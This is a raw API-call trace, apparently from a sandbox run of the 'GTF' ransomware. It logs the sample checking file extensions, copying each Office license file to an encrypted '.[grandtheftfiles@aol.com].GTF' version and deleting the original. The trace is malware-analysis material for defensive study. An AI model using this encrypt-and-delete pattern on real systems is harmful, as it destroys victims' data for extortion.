	[0170.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0170.195] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms")) returned 1
	[0170.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0170.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0170.202] lstrlenW (lpString=".doc") returned 4
	[0170.202] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0170.202] lstrlenW (lpString=".docx") returned 5
	[0170.202] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0170.202] lstrlenW (lpString=".pdf") returned 4
	[0170.202] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0170.202] lstrlenW (lpString=".xls") returned 4
	[0170.202] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0170.202] lstrlenW (lpString=".xlsx") returned 5
	[0170.202] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0170.202] lstrlenW (lpString=".ppt") returned 4
	[0170.202] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0170.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0170.202] lstrlenW (lpString=".zip") returned 4
	[0170.202] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0170.202] lstrlenW (lpString=".rar") returned 4
	[0170.202] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0170.202] lstrlenW (lpString=".bz2") returned 4
	[0170.202] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0170.202] lstrlenW (lpString=".7z") returned 3
	[0170.202] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0170.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0170.202] lstrlenW (lpString=".dbf") returned 4
	[0170.202] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0170.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0170.202] lstrlenW (lpString=".1cd") returned 4
	[0170.202] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0170.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0170.202] lstrlenW (lpString=".jpg") returned 4
	[0170.202] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0170.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0170.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0170.203] lstrlenW (lpString=".doc") returned 4
	[0170.203] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0170.203] lstrlenW (lpString=".docx") returned 5
	[0170.203] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0170.203] lstrlenW (lpString=".pdf") returned 4
	[0170.203] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0170.203] lstrlenW (lpString=".xls") returned 4
	[0170.203] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0170.203] lstrlenW (lpString=".xlsx") returned 5
	[0170.203] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0170.203] lstrlenW (lpString=".ppt") returned 4
	[0170.203] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0170.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0170.203] lstrlenW (lpString=".zip") returned 4
	[0170.203] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0170.212] lstrlenW (lpString=".rar") returned 4
	[0170.212] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0170.212] lstrlenW (lpString=".bz2") returned 4
	[0170.212] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0170.212] lstrlenW (lpString=".7z") returned 3
	[0170.212] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0170.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0170.212] lstrlenW (lpString=".dbf") returned 4
	[0170.212] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0170.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0170.212] lstrlenW (lpString=".1cd") returned 4
	[0170.212] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0170.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0170.212] lstrlenW (lpString=".jpg") returned 4
	[0170.212] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0170.212] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0170.212] lstrlenW (lpString="ExcelR_Trial-pl.xrm-ms") returned 22
	[0170.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0170.213] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11139) returned 1
	[0170.213] CloseHandle (hObject=0x550) returned 1
	[0170.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms")) returned 0x220
	[0170.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0170.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0170.214] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.214] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0170.215] GetLastError () returned 0x0
	[0170.215] ReadFile (in: hFile=0x550, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2b83, lpOverlapped=0x0) returned 1
	[0170.244] WriteFile (in: hFile=0x564, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2b90, lpOverlapped=0x0) returned 1
	[0170.245] ReadFile (in: hFile=0x550, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.245] WriteFile (in: hFile=0x564, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x100, lpOverlapped=0x0) returned 1
	[0170.245] SetEndOfFile (hFile=0x564) returned 1
	[0170.245] CloseHandle (hObject=0x564) returned 1
	[0170.245] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.246] SetEndOfFile (hFile=0x550) returned 1
	[0170.303] CloseHandle (hObject=0x550) returned 1
	[0170.304] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0170.305] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms")) returned 1
	[0170.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72
	[0170.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72
	[0170.308] lstrlenW (lpString=".doc") returned 4
	[0170.308] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0170.308] lstrlenW (lpString=".docx") returned 5
	[0170.308] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0170.308] lstrlenW (lpString=".pdf") returned 4
	[0170.308] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0170.308] lstrlenW (lpString=".xls") returned 4
	[0170.309] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0170.309] lstrlenW (lpString=".xlsx") returned 5
	[0170.309] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0170.309] lstrlenW (lpString=".ppt") returned 4
	[0170.309] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0170.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72
	[0170.309] lstrlenW (lpString=".zip") returned 4
	[0170.309] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0170.309] lstrlenW (lpString=".rar") returned 4
	[0170.309] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0170.309] lstrlenW (lpString=".bz2") returned 4
	[0170.309] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0170.309] lstrlenW (lpString=".7z") returned 3
	[0170.309] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0170.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72
	[0170.309] lstrlenW (lpString=".dbf") returned 4
	[0170.309] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0170.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72
	[0170.309] lstrlenW (lpString=".1cd") returned 4
	[0170.309] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0170.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72
	[0170.309] lstrlenW (lpString=".jpg") returned 4
	[0170.309] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0170.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72
	[0170.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72
	[0170.309] lstrlenW (lpString=".doc") returned 4
	[0170.309] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0170.309] lstrlenW (lpString=".docx") returned 5
	[0170.309] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0170.309] lstrlenW (lpString=".pdf") returned 4
	[0170.309] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0170.309] lstrlenW (lpString=".xls") returned 4
	[0170.309] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0170.309] lstrlenW (lpString=".xlsx") returned 5
	[0170.309] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0170.309] lstrlenW (lpString=".ppt") returned 4
	[0170.310] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0170.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72
	[0170.310] lstrlenW (lpString=".zip") returned 4
	[0170.310] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0170.310] lstrlenW (lpString=".rar") returned 4
	[0170.310] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0170.310] lstrlenW (lpString=".bz2") returned 4
	[0170.310] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0170.310] lstrlenW (lpString=".7z") returned 3
	[0170.310] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0170.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72
	[0170.310] lstrlenW (lpString=".dbf") returned 4
	[0170.310] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0170.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72
	[0170.310] lstrlenW (lpString=".1cd") returned 4
	[0170.310] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0170.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72
	[0170.401] lstrlenW (lpString=".jpg") returned 4
	[0170.401] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0170.401] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0170.401] lstrlenW (lpString="ExcelR_Trial-ul-oob.xrm-ms") returned 26
	[0170.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0170.431] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11586) returned 1
	[0170.431] CloseHandle (hObject=0x45c) returned 1
	[0170.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms")) returned 0x220
	[0170.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0170.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0170.432] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.432] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0170.433] GetLastError () returned 0x0
	[0170.433] ReadFile (in: hFile=0x45c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2d42, lpOverlapped=0x0) returned 1
	[0170.476] WriteFile (in: hFile=0x550, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0170.477] ReadFile (in: hFile=0x45c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.478] WriteFile (in: hFile=0x550, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x108, lpOverlapped=0x0) returned 1
	[0170.478] SetEndOfFile (hFile=0x550) returned 1
	[0170.627] CloseHandle (hObject=0x550) returned 1
	[0170.627] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.627] SetEndOfFile (hFile=0x45c) returned 1
	[0170.630] CloseHandle (hObject=0x45c) returned 1
	[0170.630] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0170.630] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms")) returned 1
	[0170.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76
	[0170.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76
	[0170.631] lstrlenW (lpString=".doc") returned 4
	[0170.631] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0170.631] lstrlenW (lpString=".docx") returned 5
	[0170.631] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0170.631] lstrlenW (lpString=".pdf") returned 4
	[0170.631] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0170.631] lstrlenW (lpString=".xls") returned 4
	[0170.631] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0170.631] lstrlenW (lpString=".xlsx") returned 5
	[0170.631] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0170.631] lstrlenW (lpString=".ppt") returned 4
	[0170.631] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0170.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76
	[0170.631] lstrlenW (lpString=".zip") returned 4
	[0170.631] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0170.631] lstrlenW (lpString=".rar") returned 4
	[0170.631] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0170.631] lstrlenW (lpString=".bz2") returned 4
	[0170.631] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0170.631] lstrlenW (lpString=".7z") returned 3
	[0170.631] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0170.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76
	[0170.631] lstrlenW (lpString=".dbf") returned 4
	[0170.631] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0170.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76
	[0170.631] lstrlenW (lpString=".1cd") returned 4
	[0170.631] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0170.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76
	[0170.631] lstrlenW (lpString=".jpg") returned 4
	[0170.631] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0170.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76
	[0170.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76
	[0170.632] lstrlenW (lpString=".doc") returned 4
	[0170.632] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0170.632] lstrlenW (lpString=".docx") returned 5
	[0170.632] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0170.632] lstrlenW (lpString=".pdf") returned 4
	[0170.632] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0170.632] lstrlenW (lpString=".xls") returned 4
	[0170.632] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0170.632] lstrlenW (lpString=".xlsx") returned 5
	[0170.632] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0170.632] lstrlenW (lpString=".ppt") returned 4
	[0170.632] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0170.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76
	[0170.632] lstrlenW (lpString=".zip") returned 4
	[0170.632] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0170.632] lstrlenW (lpString=".rar") returned 4
	[0170.632] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0170.632] lstrlenW (lpString=".bz2") returned 4
	[0170.632] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0170.632] lstrlenW (lpString=".7z") returned 3
	[0170.632] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0170.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76
	[0170.632] lstrlenW (lpString=".dbf") returned 4
	[0170.632] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0170.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76
	[0170.632] lstrlenW (lpString=".1cd") returned 4
	[0170.632] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0170.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76
	[0170.632] lstrlenW (lpString=".jpg") returned 4
	[0170.632] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0170.632] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0170.633] lstrlenW (lpString="ExcelVL_KMS_Client-ul.xrm-ms") returned 28
	[0170.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0170.633] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=9601) returned 1
	[0170.633] CloseHandle (hObject=0x45c) returned 1
	[0170.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms")) returned 0x220
	[0170.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0170.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0170.634] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.634] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0170.634] GetLastError () returned 0x0
	[0170.634] ReadFile (in: hFile=0x45c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2581, lpOverlapped=0x0) returned 1
	[0170.676] WriteFile (in: hFile=0x550, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2590, lpOverlapped=0x0) returned 1
